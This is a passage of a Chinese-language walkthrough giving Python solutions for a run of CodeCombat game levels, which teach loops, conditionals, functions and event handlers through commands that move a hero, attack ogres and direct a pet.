+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/af5e6881c9654b62b738ef1c94e3b9a7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 在村口巡逻。 +# 当你见到食人魔时,建造一个火焰陷阱"fire-trap"。 +# 不要让任何农民受到误伤。 + +while True: + hero.moveXY(43, 50) + top = hero.findNearestEnemy() + if top: + hero.buildXY("fire-trap", 43, 50) + + hero.moveXY(25, 34) + left = hero.findNearestEnemy() + # 检查`left`是否存在。 + top = hero.findNearestEnemy() + if top: + hero.buildXY("fire-trap", 25, 35) + top = hero.findNearestEnemy() + if top: + hero.buildXY("fire-trap", 43,20 ) + + hero.moveXY(25, 34) + left = hero.findNearestEnemy() + if left: + # 在25,34处建造一个陷阱,如果敌人存在的话。 + hero.buildXY("fire-trap", 25, 34) + hero.moveXY(43, 20) + # 为下面的敌人设置一个变量。 + enemy = hero.findNearestEnemy() + # 检查下面是否有敌人存在。 + if enemy: + # 在43,20处建造一个陷阱,如果敌人存在的话。 + hero.buildXY("fire-trap", 43, 20) + +``` + +## 第十一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9f99a1d8994c44ffb757b99672240e12.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 待在中间防守! + +while True: + enemy = hero.findNearestEnemy() + if enemy: + # 亦或主动出击… + hero.attack(enemy) + hero.attack(enemy) + pass + else: + # …亦或回到你的阵地防守。 + hero.moveXY(40, 35) + pass + +``` + +## 第十二关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/abe6d399fb9841c7a781459ea319d988.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 如果有敌人,那么就攻击它。 +# 否则,攻击宝箱! + +while True: + # 使用if/else语句。 + enemy = hero.findNearestEnemy() + if enemy: + hero.attack(enemy) + hero.attack(enemy) + else: + hero.attack("Chest") + + +``` + +## 第十三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ba5f3c22d6e84961b66ca540cf7a83f9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 尽可能多地使用你的新技能"cleave"。 + +hero.moveXY(23, 23) +while True: + enemy = hero.findNearestEnemy() + if hero.isReady("cleave"): + # 用“Cleave”干掉敌人! + hero.cleave(enemy) + pass + else: + # 否则(如果“cleave”还没准备好),就用普通攻击。 + hero.attack(enemy) + pass + +``` + +## 第十四关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/34f9fb38bd1946548f3ba0dd1272e212.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 劈斩正在10秒冷却中。 +# 使用 else 语句在恢复时防守。 + +while True: + enemy = hero.findNearestEnemy() + if hero.isReady("cleave"): + hero.cleave() + # 写个 else: 当"cleave"没有准备好时做点别的什么。 + else: + # 确保攻击敌人: + hero.attack(enemy) + +``` + +## 第十五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/02d3bd2dac4b4407aaf05e6c7cc94c42.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 矮人正在攻击! +# 攻击会有规律的一波波袭来。 +# 可以的话,使用劈斩来清理大量敌人。 + +while True: + enemy = hero.findNearestEnemy() + # 使用带有‘isReady’的if语句来检查 "cleave": + if hero.isReady("cleave"): + # 劈斩! + hero.cleave(enemy) + # 否则,如果 cleave 还没准备好的话: + else: + # 攻击最近的食人魔! + hero.attack(enemy) + + +``` + +## 第十六关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/571d04962c294d0a910644d18847e806.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 食人魔正在森林中巡视! +# 使用distanceTo方法找到敌人在哪。 +# 说出与每个敌人的距离,告诉大炮向哪开火! + +enemy1 = "Gort" +distance1 = hero.distanceTo(enemy1) +hero.say(distance1) + +enemy2 = "Smasher" +distance2 = hero.distanceTo(enemy2) +# 说出distance2变量! +hero.say(distance2) +# 不要攻击友方! +friend3 = "Charles" + +# 最后的食人魔。 +enemy4 = "Gorgnub" +# 确定并说出与enemy4之间的距离: +distance3 = hero.distanceTo(enemy4) +hero.say(distance3) + +``` + +## 第十七关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6dfe56eabc1e40259ec2dedfa062a888.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +while True: + enemy = hero.findNearestEnemy() + distance = hero.distanceTo(enemy) + if distance < 10: + # 如果他们与农民太近,就攻击他们 + hero.attack(enemy) + pass + # 否则的话,呆在农民旁边!使用else + else: + hero.moveXY(40, 37) + +``` + +## 第十八关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9863430df8ef4300bf6938eef5a451fb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +while True: + # 检查与最近敌人的距离。 + nearestEnemy = hero.findNearestEnemy() + distance = hero.distanceTo(nearestEnemy) + # 如果它接近到10m以内,使用cleave! + if distance <= 10: + if nearestEnemy: + hero.cleave(nearestEnemy) + # 否则,根据名字攻击"Chest"(宝箱)。 + else: + hero.attack("Chest") + +``` + +## 第十九关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4fa063f047934ffe8be3015c04eda093.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 又一个宝箱等待英雄打开! +# 攻击宝箱来打开它。 +# 有些食人魔矮人可不会呆呆地站着,看着你攻击! +# 当食人魔离你太近时,你得学着保护你自己 + +while True: + enemy = hero.findNearestEnemy() + distance = hero.distanceTo(enemy) + if hero.isReady("cleave"): + # 如果劈斩就绪,优先使用劈斩: + hero.cleave(enemy) + elif distance < 5: + # 如果离你最近的食人魔矮人离得太近,攻击它: + hero.attack(enemy) + else: + # 否则,尝试打开宝箱: + # 使用宝箱的名称来进行攻击:"Chest"。 + hero.attack("Chest") + pass + + +``` +## 第二十关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b60197d37d9b45caa90ec1c605e14f3b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 在这关,别碰恶魔石!往其他方向移动避开它们! +while True: + evilstone = hero.findNearestItem() + if evilstone: + pos = evilstone.pos + if pos.x == 34: # ==的意思是"is equal to""(等于) + # 如果恶魔石在左边,走到右边。 + hero.moveXY(46, 22) + pass + else: + # 如果恶魔石在右边,走到左边。 + hero.moveXY(34, 22) + pass + else: + # 如果没有恶魔石,那就去到中间。 + hero.moveXY(40, 22) + pass + +``` + +## 第二十一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4c4dc97d0e824a1195ed2276193175c4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你可以将一个if语句放到另一个if语句当中。 +# 你必须注意这些if语句是如何互相影响的。 +# 请确保代码缩进正确! +# 从外层if/else结构开始会有帮助。 +# 使用注释为内层if/else占位预留空间: + +while True: + enemy = hero.findNearestEnemy() + # 如果有敌人出现,那么就... + if enemy: + # 使用distanceTo创建一个距离变量。 + distance = hero.distanceTo(enemy) + # 如果敌人与你的距离小于5米,那么就攻击。 + if distance < 5: + hero.attack(enemy) + # 否则(敌人还离得很远),那么就使用shield。 + else: + hero.shield() + + pass + # 否则(没有敌人)... + else: + # …那么,回到X位置。 + hero.moveXY(40, 34) + +``` + +## 第二十二关 +### (1)主关卡 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/941fd530cd444ec89d641323bec2e528.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +while True: + enemy = hero.findNearestEnemy() + if enemy: + # 用 distanceTo 获取与敌人的距离。 + distance = hero.distanceTo(enemy) + # 如果距离小于5米... + if distance<5: + # ...如果"cleave"技能准备好了,就用cleave干掉他们! + if hero.isReady("cleave"): + hero.cleave(enemy) + # ...否则,仅仅进行普通攻击。 + else: + hero.attack(enemy) + +``` +### (2)练习A +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/36287df5ed824b91a9ae976b548a9e3a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +while True: + enemy = hero.findNearestEnemy() + if enemy: + # pass # 用你自己的代码替换这行。 + # 用 distanceTo 获取与敌人的距离。 + distance = hero.distanceTo(enemy) + # 如果距离小于5米... + if distance < 5: + # ...如果"cleave"技能准备好了,就用cleave干掉他们! + if hero.isReady("cleave"): + hero.cleave(enemy) + # ...否则,仅仅进行普通攻击。 + else: + hero.attack(enemy) + +``` +### (3)练习B +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/58c1bdbfb39a47339eb4d599d43104fc.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +while True: + enemy = hero.findNearestEnemy() + if enemy: + # pass # 用你自己的代码替换这行。 + # 用 distanceTo 获取与敌人的距离。 + distance = hero.distanceTo(enemy) + # 如果距离小于5米... + if distance < 5: + # ...如果"cleave"技能准备好了,就用cleave干掉他们! + if hero.isReady("cleave"): + hero.cleave(enemy) + # ...否则,仅仅进行普通攻击。 + else: + hero.attack(enemy) + +``` +## 第二十三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/570e09baf9ff422f807613fa93d3ab38.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 这定义了findAndAttackEnemy函数 +def findAndAttackEnemy(): + enemy = hero.findNearestEnemy() + if enemy: + hero.attack(enemy) + +# 这段代码不是函数的一部分。 +while True: + # 现在你可以使用findAndAttackEnemy在村子里巡逻 + hero.moveXY(35, 34) + findAndAttackEnemy() + + # 现在移动到右侧入口。 + hero.moveXY(60, 31) + # 使用findAndAttackEnemy + findAndAttackEnemy() + +``` + +# 具体闯关流程(24~45) +## 第二十四关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/18d9d8f365574c80a1647432ef294832.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 这个函数攻击最近的敌人。 +def findAndAttackEnemy(): + enemy = hero.findNearestEnemy() + if enemy: + hero.attack(enemy) + +# 定义一个函数来劈斩敌人(只在劈斩就绪时)。 +def findAndCleaveEnemy(): + # 找到最近的敌人: + enemy = hero.findNearestEnemy() + # 如果敌人存在: + if enemy: + # 而且,如果"cleave"就绪了: + if hero.isReady("cleave"): + # 是时候使用劈斩了! + hero.cleave(enemy) + pass + +# 在主循环中,巡逻、劈斩和攻击。 +while True: + # 移动到巡逻点,劈斩和攻击。 + hero.moveXY(35, 34) + findAndCleaveEnemy() + findAndAttackEnemy() + + # 移动到另一点: + hero.moveXY(60, 31) + # 使用findAndCleaveEnemy函数: + findAndCleaveEnemy() + # 使用findAndAttackEnemy函数: + findAndAttackEnemy() + +``` +## 第二十五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/394cdc58b1a749fabe3087c9fb0046bb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 食人魔矮人来袭!保护镇子! + +# 定义你自己的函数来对抗敌人! +def cleaveOrAttack(): + # 在函数中,找到敌人,然后劈斩或是攻击它。 + ogre = hero.findNearestEnemy() + if ogre: + if hero.isReady("cleave"): + hero.cleave(ogre) + # 否则,攻击食人魔: + else: + hero.attack(ogre) + +# 在巡逻点之间移动并调用函数。 +while True: + hero.moveXY(35, 34) + # 使用上面定义的cleaveOrAttack函数。 + cleaveOrAttack() + hero.moveXY(47, 27) + # 再次调用函数。 + cleaveOrAttack() + hero.moveXY(60, 31) + # 再次调用函数。 + cleaveOrAttack() + +``` +## 第二十六关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ec52d3cf75444ba4b6f2067a345f3d5b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 差役试图偷取你的硬币! +# 编写一个函数,在差役盗取硬币前将其干掉。 + +def pickUpCoin(): + coin = hero.findNearestItem() + if coin: + hero.moveXY(coin.pos.x, coin.pos.y) + +# 在下方写一个攻击敌人的函数attackEnemy。 +# 寻找最近的敌人,如果存在敌人就进行攻击。 +def attackEnemy(): + enemy = hero.findNearestEnemy() + if enemy: + hero.attack(enemy) + +while True: + attackEnemy() # ∆ 在写好 attackEnemy 函数后取消这一行的注释。 + pickUpCoin() + +``` + +## 第二十七关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9a95a28592f945f5a089f40e1cb84ca3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 使用 checkAndAttack 函数让代码易读。 + +# 这个函数有一个形式参数。 +# 形式参数是一种给函数传递信息的方式。 +def checkAndAttack(target): + # 形式参数'target'只是一个变量! + # 它会容纳函数调用时的实际参数。 + if target: + hero.attack(target) + hero.moveXY(43, 34) + +while True: + hero.moveXY(58, 52) + topEnemy = hero.findNearestEnemy() + # 使用带topEnemy变量的checkAndAttack函数。 + checkAndAttack(topEnemy) + + # 移动到底部的X标记处。 + hero.moveXY(58, 16) + # 创建名为 bottomEnemy 的变量并寻找最近敌人。 + bottomEnemy = hero.findNearestEnemy() + + # 使用 checkAndAttack 函数,并使用 bottomEnemy 变量。 + checkAndAttack(bottomEnemy) + +``` + +## 第二十八关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f051da72eb174108b311da0f7b315023.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 森林中一座被遗忘的墓地! +# 但是食人魔紧追不舍。 +# 在防御食人魔矮人的同时打开墓地之门。 + +# 这个函数应该在敌人存在时攻击,否则攻击门! +def checkToDefend(target): + # 检查`target`是否存在 + if target: + # 如果是这样,攻击`target` + hero.attack(target) + # 如果没有`target`,使用else去做点别的事 + else: + # 否则攻击 "Door" + hero.attack("Door") + pass + +while True: + enemy = hero.findNearestEnemy() + checkToDefend(enemy) + +``` + +## 第二十九关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/767747269591443ea856a19add90d8d3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 唯一的出口被食人魔堵住了。 +# 躲着骷髅怪,并一个个击败食人魔。 + +# 这个函数需要攻击敌人并隐藏。 +def hitOrHide(target): + # 如果'target'存在: + if target: + # 攻击'target'。 + hero.attack(target) + # 然后移动到红色标记。 + hero.moveXY(32, 17) + pass + +while True: + enemy = hero.findNearestEnemy() + hitOrHide(enemy) + +``` + +## 第三十关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/eec13d0be99443f5a84679466a44f4ca.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 收集4颗发光石,用来打败食人魔斗士。 +# 如果找到发光石的话,藏起来。 + +def checkTakeHide(item): + if item: + # 物品在此,拿走它。 + hero.moveXY(item.pos.x, item.pos.y) + # 然后移动到营地中央(40, 34) + hero.moveXY(40, 34) + +while True: + # 移动到右上的X标记。 + hero.moveXY(68, 56) + # 在那里搜索一块发光石。 + lightstone = hero.findNearestItem() + # 调用checkTakeHide,并使用参数:lightstone + checkTakeHide(lightstone) + + # 移动到左上角的标记。 + hero.moveXY(12, 56) + # 搜索发光石。 + # 在那里搜索一块发光石。 + lightstone = hero.findNearestItem() + # 调用checkTakeHide,并使用参数:lightstone + checkTakeHide(lightstone) + # 调用checkTakeHide函数。 + # 将搜索的结果作为参数传入。 + + +``` +## 第三十一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/196dca7d5ef54e8e854e8fb01846f5f9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 检查工人们能否安全挖矿。 + +def checkEnemyOrSafe(target): + # 如果`target`(参数)存在: + if target: + # 那么攻击目标。 + hero.attack(target) + # 否则: + else: + # 使用say() 说点什么来叫农民。 + hero.say("农民,快点过来啊") + pass + +while True: + # 移动到并检查右上的X标记。 + hero.moveXY(64, 54) + enemy1 = hero.findNearestEnemy() + checkEnemyOrSafe(enemy1) + + # 移动到左下的X标记处。 + hero.moveXY(16, 14) + # 将findNearestEnemy()的结果存到一个变量中。 + enemy2 = hero.findNearestEnemy(); + # 调用checkEnemyOrSafe,并传递 + # findNearestEnemy的结果作为参数 + checkEnemyOrSafe(enemy2) + +``` + +## 第三十二关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4537abe878554f91a239ce90a0a75521.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 这里展示了如何定义一个叫作cleaveWhenClose的函数 +# 函数定义了一个形式参数,名为`target` +def cleaveWhenClose(target): + if hero.distanceTo(target) < 5: + pass + # 将你的攻击代码放到这里。 + # 如果cleave准备就绪,那就劈斩目标 + if hero.isReady("cleave"): + hero.cleave(target) + # 否则,使用attack攻击目标(`target`)! + else: + hero.attack(target) + +# 这段代码不是函数的一部分。 +while True: + enemy = hero.findNearestEnemy() + if enemy: + # 注意在cleaveWhenClose内部,我们将`enemy`称为`target`。 + cleaveWhenClose(enemy) + +``` + +## 第三十三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d8338ad753ef4f1ea34c4dbec9b603e6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 函数maybeBuildTrap定义了两个参数! +def maybeBuildTrap(x, y): + # 使用x和y作为移动的坐标。 + hero.moveXY(x, y) + enemy = hero.findNearestEnemy() + if enemy: + # 使用 buildXY 在特定 x 和 y 处建造 "fire-trap"。 + hero.buildXY("fire-trap", x, y) +while True: + # 这会调用 maybeBuildTrap,并使用上方入口的坐标。 + maybeBuildTrap(43, 50) + + # 现在在左侧入口处使用maybeBuildTrap! + maybeBuildTrap(25, 34) + # 现在在底部入口处使用maybeBuildTrap! + maybeBuildTrap(43, 20) + +``` + +## 第三十四关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/95d529f425504963961d56753ce9ebb2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +def cleaveOrAttack(enemy): + # 如果"cleave"技能冷却完毕,那就使用它!否则,使用普通攻击。 + if hero.isReady("cleave"): + hero.cleave(enemy) + else: + hero.attack(enemy) + pass + +while True: + enemy = hero.findNearestEnemy() + if enemy: + distance = hero.distanceTo(enemy) + if distance < 5: + # 调用上面定义的"cleaveOrAttack"函数 + cleaveOrAttack(enemy) + +``` + +## 第三十五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4b1bb39b18b34979ab88c83a6c804e0f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 只在看到敌人时进行建造。 + +# 该函数定义3个参数。 +def maybeBuildSomething(typeToBuild, x, y): + hero.moveXY(x, y) + # 找到最近的敌人 + enemy = hero.findNearestEnemy() + # 如果存在敌人 + if enemy: + # 那么使用buildXY,参数typeToBuild、x和y + # 使用变量typeToBuild作为第一个参数。 + hero.buildXY(typeToBuild, x, y) + pass + +# 你不需要改动下面的代码。 +while True: + # 调用 maybeBuildSomething,使用"fire-trap"及底部X的坐标。 + maybeBuildSomething("fire-trap", 40, 20) + # 调用maybeBuildSomething,在左侧X处建造"fence"! + maybeBuildSomething("fence", 26, 34) + # 调用maybeBuildSomething,在顶部X处建造"fire-trap"! + maybeBuildSomething("fire-trap", 40, 50) + # 调用maybeBuildSomething,在右侧X处建造"fence"! + maybeBuildSomething("fence", 54, 34) + +``` + +## 第三十六关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c407a0f2209543409eeb7a160f8dcc33.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 巡逻并只在看到硬币时设置陷阱。 + +# 编写这个函数。 +def maybeBuildTrap(x, y): + # 移动到给定的xy位置 + hero.moveXY(x, y) + # 搜寻硬币,如果发现就建造一个"fire-trap" + item = hero.findNearestItem() + if item: + hero.buildXY("fire-trap", x, y) + pass + +while True: + # 为左上方通道调用maybeBuildTrap。 + maybeBuildTrap(12, 56) + # 现在是右上的通道。 + maybeBuildTrap(68, 56) + # 现在是右下的通道。 + maybeBuildTrap(68, 12) + # 现在是左下的通道。 + maybeBuildTrap(12, 12) + +``` +## 第三十七关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a44e464f93c346c6bb4918ef8ed548c9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你现在拥有一个宠物! + +def speak(event): + # 你的宠物需要用pet.say()进行回应 + pet.say('Meao') + pet.trick() + pass + +# 这将告诉你的宠物,在听到声音时运行speak()函数 +pet.on("hear", speak) + +# 和你的宠物交流吧! +hero.say("你好小猫") + +``` +## 第三十八关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1abdc9e083e7493c98c62f54fbb9c098.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 我们需要知道新宠物的名字。 + +# 把这个函数用作宠物 "hear" 事件的处理器。 +def onHear(event): + # 不要更改这个函数 + pet.say("喵 汪 喵") + pet.say("汪 汪") + pet.say("喵") + pet.say("喵") + pet.say("喵 汪 喵 喵") + pet.trick() + +# 使用pet.on(eventType,eventHandler)方法 +# 指派onHear函数来处理"hear"事件。 +pet.on("hear",onHear) + +# 这必须在 "pet.on" 的后面。 +hero.say("伙计,你叫什么名字?") +hero.say("能重复一次吗?") + +``` + +## 第三十九关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f62a3b738bdc406f989da02fe8dd61f3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 教你的宠物回答问题! + +# 很幸运,所有的答案都是"2" +def sayTwo(event): + # 使用pet.say()来回答"2" + pet.say("2") + pass + +# 使用pet.on(),通过sayTwo来处理"hear"事件 +pet.on("hear",sayTwo) +# 现在休息并观看表演吧! +hero.say("一加一等于…?") +hero.say("x^3 - 6x^2 + 12x - 8 = 0。那x等于多少?") +hero.say("火星有多少卫星?") + +``` + +## 第四十关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/286a2a36db0c4be4b797d701197e6347.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 编写一个事件处理函数,名为onHear + +# 完成onHear函数 +def onHear(event): + # 宠物需要在onHear中说点什么。 + pet.say("YES") + pet.say("YES") + pet.say(2) + pet.say(2) + pet.say(2) + pass + +pet.on("hear", onHear) + +hero.say("能听懂我的话吗?") +hero.say("你是美洲狮吗?") +hero.say("你多大啦?") +# 再问两个问题。 +hero.say("1+1=?") +hero.say("1*2=?") + +``` +## 第四十一关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6826026644e24166af7f16efd8dbfd24.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你被困在了树精陷阱中! +# 派遣宠物拿取治疗药水! + +def goFetch(): + # 你可以在处理器函数中使用循环。 + while True: + potion = hero.findNearestItem() + if potion: + # 用pet.fetch()去让你的宠物取回药水。 + pet.fetch(potion) + pass + +# 当宠物被召唤出来时,会触发 "spawn" 事件。 +# 这让你的宠物在关卡开始时运行goFetch()函数。 +pet.on("spawn", goFetch) + +``` + +## 第四十二关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e49e7294141f48858cf05744f2dbe540.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你无法帮助农民过河。 +# 不过,你的宠物做得到! +# 将你的狼调教成看门狗。 + +def onSpawn(event): + while True: + # 宠物一样可以发现敌人。 + enemy = pet.findNearestEnemy() + # 如果有敌人: + if enemy: + # 那么让宠物说点什么: + pet.say("有危险!") + +pet.on("spawn", onSpawn); + +``` + +## 第四十三关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1ed7342715e74340b0a9e40081510935.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 移动到右边 + +# 补全这个函数: +def onSpawn(event): + pass + # 在while-true循环内: + while True: + + # 使用hero.findNearestItem() + potion = hero.findNearestItem() + + # 如果有物品: + if potion: + # 使用pet.fetch(item)来拿取物品。 + pet.fetch(potion) + +# 使用pet.on()来将onSpawn指派给"spawn"事件 +pet.on("spawn",onSpawn) +hero.moveXY(78, 35) + +``` + +## 第四十四关 